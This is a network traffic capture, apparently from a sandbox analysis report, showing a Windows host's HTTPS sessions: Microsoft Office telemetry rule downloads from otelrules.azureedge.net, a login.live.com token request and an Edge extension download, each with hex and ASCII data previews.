2024-10-28 17:43:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	63473	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:27 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174327Z-16849878b78qg9mlz11wgn0wcc00000004v000000000qbqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	63475	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ef4969e5-401e-002a-2c3c-28c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174327Z-15b8d89586ffsjj9qb0gmb1stn00000009p0000000001758 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	63483	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:28 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:28 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174328Z-16849878b785dznd7xpawq9gcn00000006pg00000000maat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:28 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	63484	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:28 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:28 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174328Z-16849878b78tg5n42kspfr0x4800000005bg00000000cfxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	63478	40.126.31.71	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-28 17:43:28 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-28 17:43:29 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 28 Oct 2024 17:42:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: f58eed49-24f0-4350-9f68-e28bfbbc22ad PPServer: PPV: 30 H: SN1PEPF0002F0D1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 28 Oct 2024 17:43:28 GMT Connection: close Content-Length: 1276
2024-10-28 17:43:29 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	63486	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: df8e274c-401e-002a-26fc-28c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174329Z-r197bdfb6b4g24ztpxkw4umce800000006tg00000000dcqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	63485	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:29 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:29 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 46a88b53-101e-0017-7e74-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174329Z-16849878b78bjkl8dpep89pbgg000000041000000000e314 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	63488	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:29 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 9969a17a-a01e-0021-051b-28814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174329Z-r197bdfb6b4jlq9hppzrdwabps00000000eg000000002r50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	63490	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:29 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 759c8b5d-301e-003f-27f2-24266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174329Z-15b8d89586f5s5nz3ffrgxn5ac00000006500000000000ah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	63489	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:29 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:29 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 892d3b27-201e-005d-7649-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174329Z-16849878b7898p5f6vryaqvp58000000064g00000000gk4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:29 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	63487	172.217.18.1	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:29 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
